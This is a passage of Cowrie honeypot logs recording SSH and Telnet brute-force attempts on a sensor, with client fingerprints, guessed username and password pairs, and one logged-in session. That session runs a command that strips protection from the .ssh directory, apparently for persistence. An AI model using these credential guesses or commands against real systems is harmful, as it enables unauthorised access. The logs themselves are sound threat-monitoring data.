-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:46.506648Z","src_ip":"143.64.168.136","session":"06ef75130547","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1","message":"login attempt [admin/admin1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:47.476020Z","src_ip":"143.64.168.136","session":"06ef75130547","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:47.980203Z","src_ip":"143.64.168.136","session":"06ef75130547","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:47.984240Z","src_ip":"143.64.168.136","session":"06ef75130547","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:47.988470Z","src_ip":"143.64.168.136","session":"06ef75130547","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:48.226993Z","src_ip":"143.64.168.136","session":"06ef75130547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":57134,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8296e71c976","protocol":"ssh","message":"New connection: 103.106.188.32:57134 (10.17.0.5:22) [session: a8296e71c976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:54.353527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:54.357657Z","src_ip":"103.106.188.32","session":"a8296e71c976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:54.613632Z","src_ip":"103.106.188.32","session":"a8296e71c976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test333","message":"login attempt [root/test333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:55.721428Z","src_ip":"103.106.188.32","session":"a8296e71c976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:56.947759Z","src_ip":"103.106.188.32","session":"a8296e71c976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":60114,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa9d75ec6c95","protocol":"ssh","message":"New connection: 143.64.168.136:60114 (10.17.0.5:22) [session: fa9d75ec6c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:01.968013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:01.973316Z","src_ip":"143.64.168.136","session":"fa9d75ec6c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:02.234715Z","src_ip":"143.64.168.136","session":"fa9d75ec6c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:03.289779Z","src_ip":"143.64.168.136","session":"fa9d75ec6c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.62802767753601,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:18.284710Z","src_ip":"64.41.88.162","session":"719d6b222592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":62363,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1fe8f4f0422","protocol":"ssh","message":"New connection: 103.149.252.223:62363 (159.203.135.109:22) [session: a1fe8f4f0422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:21.749707Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:21.754526Z","src_ip":"103.149.252.223","session":"a1fe8f4f0422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:21.758270Z","src_ip":"103.149.252.223","session":"a1fe8f4f0422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54778,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2e11628e442","protocol":"telnet","message":"New connection: 20.123.41.163:54778 (10.17.0.5:23) [session: c2e11628e442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:22.444474Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":46928,"dst_ip":"10.17.0.5","dst_port":22,"session":"0305c05306d2","protocol":"ssh","message":"New connection: 46.24.47.94:46928 (10.17.0.5:22) [session: 0305c05306d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:23.052912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:23.057097Z","src_ip":"46.24.47.94","session":"0305c05306d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:23.162963Z","src_ip":"46.24.47.94","session":"0305c05306d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!@WSX","message":"login attempt [root/ZAQ!@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:23.615151Z","src_ip":"46.24.47.94","session":"0305c05306d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:24.723907Z","src_ip":"46.24.47.94","session":"0305c05306d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":55952,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeb05b4e9c00","protocol":"ssh","message":"New connection: 103.146.202.174:55952 (10.17.0.5:22) [session: eeb05b4e9c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:25.485327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:25.490567Z","src_ip":"103.146.202.174","session":"eeb05b4e9c00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:25.740651Z","src_ip":"103.146.202.174","session":"eeb05b4e9c00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"passw0rd","message":"login attempt [administrator/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:26.768279Z","src_ip":"103.146.202.174","session":"eeb05b4e9c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:28.020741Z","src_ip":"103.146.202.174","session":"eeb05b4e9c00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":48616,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0197805daa2","protocol":"telnet","message":"New connection: 20.123.41.163:48616 (10.17.0.5:23) [session: d0197805daa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:55.750808Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":45446,"dst_ip":"10.17.0.5","dst_port":22,"session":"b16260849b87","protocol":"ssh","message":"New connection: 103.106.188.32:45446 (10.17.0.5:22) [session: b16260849b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:58.452386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:58.458122Z","src_ip":"103.106.188.32","session":"b16260849b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:58.714027Z","src_ip":"103.106.188.32","session":"b16260849b87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@SSWORD123","message":"login attempt [test/P@SSWORD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:41:59.816103Z","src_ip":"103.106.188.32","session":"b16260849b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:01.052737Z","src_ip":"103.106.188.32","session":"b16260849b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0096640586853,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:09.715996Z","src_ip":"37.52.61.49","session":"cdf4e8725848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":41918,"dst_ip":"159.203.135.109","dst_port":23,"session":"145856b4955f","protocol":"telnet","message":"New connection: 37.52.61.49:41918 (159.203.135.109:23) [session: 145856b4955f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:10.981555Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":52254,"dst_ip":"10.17.0.5","dst_port":22,"session":"a28c7cf9c57d","protocol":"ssh","message":"New connection: 209.99.189.177:52254 (10.17.0.5:22) [session: a28c7cf9c57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:11.721015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:11.725465Z","src_ip":"209.99.189.177","session":"a28c7cf9c57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:11.853490Z","src_ip":"209.99.189.177","session":"a28c7cf9c57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00094413757324,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:11.886303Z","src_ip":"37.52.61.49","session":"07f802d98630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":42004,"dst_ip":"159.203.135.109","dst_port":23,"session":"6673e336d906","protocol":"telnet","message":"New connection: 37.52.61.49:42004 (159.203.135.109:23) [session: 6673e336d906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:12.204094Z"}
{"eventid":"cowrie.login.failed","username":"linuxadmin","password":"linuxadmin","message":"login attempt [linuxadmin/linuxadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:12.397010Z","src_ip":"209.99.189.177","session":"a28c7cf9c57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:13.529379Z","src_ip":"209.99.189.177","session":"a28c7cf9c57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00133442878723,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:13.815985Z","src_ip":"37.52.61.49","session":"ffb86bd2d5ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.067359685897827,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:14.048789Z","src_ip":"37.52.61.49","session":"145856b4955f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":42134,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f651a1d4d7","protocol":"telnet","message":"New connection: 37.52.61.49:42134 (159.203.135.109:23) [session: a1f651a1d4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:14.103997Z"}
{"eventid":"cowrie.session.closed","duration":53.18453359603882,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:15.628882Z","src_ip":"20.123.41.163","session":"c2e11628e442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":35916,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb269dad9939","protocol":"telnet","message":"New connection: 20.123.41.163:35916 (10.17.0.5:23) [session: bb269dad9939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:17.043584Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":35796,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca41077b2ab","protocol":"ssh","message":"New connection: 46.24.47.94:35796 (10.17.0.5:22) [session: 7ca41077b2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:42:23.410728Z"}
